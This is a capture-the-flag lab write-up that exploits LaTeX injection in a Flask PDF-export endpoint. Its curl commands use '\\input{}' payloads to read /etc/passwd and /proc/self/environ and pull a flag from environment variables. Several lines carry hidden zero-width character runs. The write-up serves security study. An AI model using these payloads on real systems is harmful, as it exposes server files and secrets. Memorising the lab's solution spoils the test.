ScholarPress

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-20 | Status: Solved Techniques: latex_input_file_read, proc_self_environ_extraction, server_side_latex_compilation_abuse, honeypot_flag_detection

Summary

Task: Flask-based academic platform with LaTeX PDF export via pdflatex, no input sanitization. Solution: LaTeX injection using \input{/proc/self/environ} to read flag from environment variable.

ScholarPress — HackAdvisor Lab 131

Description

ScholarPress is a collaborative knowledge base platform built by Meridian Publishing Inc. for academic and scientific teams. The platform allows researchers to create, edit, and publish technical articles with rich LaTeX formatting support. It features a built-in document editor with PDF export capabilities, article versioning, and a searchable knowledge library.

Your goal is to find and exploit a vulnerability in the application that allows you to read sensitive files from the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask web application that supports LaTeX markup in articles and provides server-side PDF compilation via pdflatex. The goal is to exploit the LaTeX compilation to read sensitive files from the server.

Credentials: user@test.com / password123

Analysis

Reconnaissance

After logging in, the application is a standard article management platform with categories, article editing, and a prominent "Export LaTeX PDF" button on each article page.

The PDF export calls POST /api/compile-latex with a JSON body: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 json read-only • copy allowed Copy
{"content": "<article_body_text>", "title": "<article_title>"}

The server wraps the user-supplied content directly into a LaTeX document template and compiles it with pdflatex, returning the resulting PDF.

Decoy flag: Every page contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments — a honeypot to trap automated scanners. Ignored.

Vulnerability: LaTeX Injection

The /api/compile-latex endpoint performs zero sanitization on user-supplied content before inserting it into the LaTeX template. This means any LaTeX primitive — including file-reading commands like \input{}, \include{}, and \verbatiminput{} — executes during compilation. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

LaTeX's \input{<path>} reads the contents of an arbitrary file and includes it in the compiled document. Since pdflatex runs as a server process, it can read any file accessible to that process.

Solution

Step 1: Confirm LaTeX Injection with /etc/passwd

First, authenticate and save cookies:

 bash read-only • copy allowed Copy
TARGET="https://b8afba71-a0f0-42f2-ba03-6d4976ecb415.labs.hackadvisor.io"

curl -s -c cookies.txt -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"email": "user@test.com", "password": "password123"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Then test arbitrary file read:

 bash read-only • copy allowed Copy
curl -s -b cookies.txt -X POST "$TARGET/api/compile-latex" \
  -H "Content-Type: application/json" \
  -d '{"content": "\\input{/etc/passwd}", "title": "test"}' \
  -o test.pdf

pdftotext -raw test.pdf -

The PDF contained the full /etc/passwd file, confirming an Alpine Linux container (root:x:0:0:root:/root:/bin/ash). LaTeX injection confirmed.

Step 2: Locate the Flag

Common flag file paths (/flag.txt, /tmp/flag.txt, /app/flag.txt) all returned LaTeX compilation errors ("File not found"). The flag was not stored as a file on disk. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Extract Flag from Environment Variables

Read the process environment via /proc/self/environ:

 bash read-only • copy allowed Copy
curl -s -b cookies.txt -X POST "$TARGET/api/compile-latex" \
  -H "Content-Type: application/json" \
  -d '{"content": "\\input{/proc/self/environ}", "title": "test"}' \
  -o environ.pdf

pdftotext -raw environ.pdf -

The PDF output contained all environment variables as a null-byte-separated string. Among them:

FLAG=FLAG{REDACTED}

Note: LaTeX interprets {} as grouping delimiters, so the rendered PDF showed FLAGREDACTED without the braces. The 32-character hex hash was clearly readable and the standard FLAG{...} wrapper was inferred from the FLAG= prefix. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍